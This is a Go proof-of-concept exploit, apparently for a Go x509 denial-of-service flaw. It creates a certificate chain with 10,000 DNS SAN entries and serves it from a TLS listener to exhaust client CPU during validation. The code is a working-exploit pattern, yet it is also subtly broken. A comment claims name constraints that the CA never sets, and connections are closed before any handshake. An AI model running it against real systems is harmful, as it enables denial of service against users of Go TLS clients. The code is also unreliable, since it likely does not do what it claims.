// CVE-2025-58187 PoC - Denial of Service via Malformed Certificate Chain
// This PoC demonstrates the non-linear name constraint checking behavior
package main
import (
"crypto/rand"
"crypto/rsa"
"crypto/tls"
"crypto/x509"
"crypto/x509/pkix"
"encoding/pem"
"math/big"
"net"
"time"
)
func generateMaliciousCertificate() (*tls.Certificate, error) {
// Generate CA key
caKey, err := rsa.GenerateKey(rand.Reader, 2048)
if err != nil {
return nil, err
}
// Create CA certificate with name constraints
caTemplate := x509.Certificate{
SerialNumber: big.NewInt(1),
Subject: pkix.Name{
CommonName: "Malicious CA",
},
NotBefore: time.Now(),
NotAfter: time.Now().Add(365 * 24 * time.Hour),
KeyUsage: x509.KeyUsageCertSign,
BasicConstraintsValid: true,
IsCA: true,
}
caCertDER, err := x509.CreateCertificate(rand.Reader, &caTemplate, &caTemplate, &caKey.PublicKey, caKey)
if err != nil {
return nil, err
}
// Generate malicious leaf certificate with many SAN entries
leafKey, err := rsa.GenerateKey(rand.Reader, 2048)
if err != nil {
return nil, err
}
leafTemplate := x509.Certificate{
SerialNumber: big.NewInt(2),
Subject: pkix.Name{
CommonName: "target.example.com",
},
NotBefore: time.Now(),
NotAfter: time.Now().Add(365 * 24 * time.Hour),
ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth},
BasicConstraintsValid: true,
}
// Add thousands of SAN entries to trigger non-linear processing
for i := 0; i < 10000; i++ {
leafTemplate.DNSNames = append(leafTemplate.DNSNames,
string(rune('a'+i%26)) + ".example.com")
}
leafCertDER, err := x509.CreateCertificate(rand.Reader, &leafTemplate, &caTemplate,
&leafKey.PublicKey, caKey)
if err != nil {
return nil, err
}
return &tls.Certificate{
Certificate: [][]byte{leafCertDER, caCertDER},
PrivateKey: leafKey,
}, nil
}
func main() {
cert, err := generateMaliciousCertificate()
if err != nil {
panic(err)
}
// Start malicious TLS server
listener, err := tls.Listen("tcp", ":8443", &tls.Config{
Certificates: []tls.Certificate{*cert},
})
if err != nil {
panic(err)
}
defer listener.Close()
// Wait for connections
for {
conn, err := listener.Accept()
if err != nil {
continue
}
conn.Close()
}
}
// Client-side trigger code:
// When a Go client connects to a server presenting this certificate chain,
// the x509 certificate validation will consume excessive CPU time
// due to the non-linear name constraint checking algorithm.